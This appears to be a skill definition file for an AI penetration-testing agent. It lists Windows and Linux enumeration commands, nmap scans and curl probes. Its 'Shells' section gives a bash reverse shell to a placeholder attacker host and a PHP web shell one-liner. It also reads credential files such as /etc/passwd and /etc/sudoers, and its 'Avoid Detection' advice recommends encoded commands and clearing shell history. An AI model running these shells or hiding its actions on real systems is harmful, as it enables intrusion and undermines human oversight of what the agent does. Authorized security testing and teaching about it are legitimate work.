| name | command-execution |
| description | Security-focused command execution techniques for penetration testing.
Use this skill when executing system commands during authorized security assessments.
Covers Windows and Linux command execution, common security testing commands,
and best practices for avoiding detection.
|
| version | 1.0.0 |
| author | Secbot Security Team |
| tags | ["command","execution","terminal","shell","pentest"] |
| triggers | ["execute_command","run","shell","cmd","bash","command"] |
| prerequisites | ["authorized_target"] |
Command Execution in Security Testing
Overview
This skill provides guidance on executing system commands effectively during penetration testing engagements.
Windows Commands
Network Discovery
# Local IP configuration
ipconfig /all
# Network connections
netstat -ano
# Active connections
netstat -ano | findstr ESTABLISHED
# ARP table
arp -a
# DNS lookup
nslookup target.com
Process Management
# List processes
tasklist /v
# Find specific process
tasklist | findstr python
# Kill process
taskkill /F /PID <pid>
File System
# List directory
dir /a /s
# Find files
dir /s /b *.exe
# File attributes
attrib
User & Group
# User accounts
net user
# Current user
whoami /all
# Local groups
net localgroup
# User info
net user <username>
Linux Commands
Network Discovery
ip addr show
netstat -tulpn
ss -tulwn
arp -a
dig target.com
Process Management
ps aux
ps aux | grep python
kill -9 <pid>
pstree
File System
find / -perm -4000 2>/dev/null
find / -mtime -1 2>/dev/null
find / -perm -4000 -type f
User & Group
id
cat /etc/sudoers
cat /etc/passwd
cat /etc/group
Security Testing Commands
Enumeration
nmap -sV <target>
nmap -O <target>
nmap --script vuln <target>
Web Testing
curl -v http://target
curl -X POST -d "param=value" http://target
curl -k https://target
Shells
bash -i >& /dev/tcp/attacker/port 0>&1
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
Best Practices
-
Avoid Detection
- Use encoded commands when possible
- Limit command output visibility
- Clear history after commands:
history -c
-
Error Handling
- Always check return codes
- Redirect stderr:
2>&1
- Use timeout for long-running commands
-
Cross-Platform
- Use portable commands when possible
- Test commands in isolated environment first
- Consider WSL for Linux tools on Windows
Timeout Recommendations
| Command Type | Recommended Timeout |
|---|
| Quick check (ping, whoami) | 10s |
| Network scan | 60s |
| File search | 120s |
| Large transfer | 300s |
Output Parsing
Extract specific information from command output:
ipconfig | findstr "IPv4"
netstat -ano | findstr :80
netstat -ano | findstr ESTABLISHED | find /c /v ""